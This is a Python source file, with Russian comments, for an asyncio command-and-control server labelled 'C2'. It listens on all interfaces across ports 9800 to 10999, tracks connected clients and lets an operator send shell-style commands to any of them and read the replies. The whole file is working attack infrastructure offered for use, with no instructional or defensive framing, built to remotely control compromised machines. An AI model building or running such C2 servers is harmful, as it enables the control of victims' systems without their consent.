49 lines
1.7 KiB
Python
49 lines
1.7 KiB
Python
import asyncio
|
||
|
||
clients = {} # {порт: (reader, writer)}
|
||
|
||
async def handle_client(reader, writer):
|
||
addr = writer.get_extra_info("peername")
|
||
port = writer.get_extra_info("sockname")[1]
|
||
clients[port] = (reader, writer)
|
||
|
||
print(f"[+] Новое подключение с {addr}, порт {port}")
|
||
|
||
try:
|
||
while True:
|
||
command = await asyncio.get_event_loop().run_in_executor(None, input, "C2> ")
|
||
if command.lower() in ["exit", "quit"]:
|
||
break
|
||
elif command == "list":
|
||
print("[*] Активные клиенты:")
|
||
for p in clients:
|
||
print(f" - Порт {p}")
|
||
elif command.startswith("send "):
|
||
_, target_port, cmd = command.split(" ", 2)
|
||
target_port = int(target_port)
|
||
if target_port in clients:
|
||
r, w = clients[target_port]
|
||
w.write(cmd.encode() + b"\n")
|
||
await w.drain()
|
||
response = await r.readline()
|
||
print(f"[{target_port}] {response.decode().strip()}")
|
||
else:
|
||
print(f"[-] Нет клиента на порте {target_port}")
|
||
except Exception as e:
|
||
print(f"[-] Ошибка: {e}")
|
||
|
||
writer.close()
|
||
await writer.wait_closed()
|
||
del clients[port]
|
||
print(f"[-] Клиент отключился: {addr}, порт {port}")
|
||
|
||
async def main():
|
||
tasks = []
|
||
for port in range(9800, 11000):
|
||
server = await asyncio.start_server(handle_client, "0.0.0.0", port)
|
||
tasks.append(server.serve_forever())
|
||
print("[+] Сервер C2 запущен на портах 9800-11000")
|
||
await asyncio.gather(*tasks)
|
||
|
||
asyncio.run(main())
|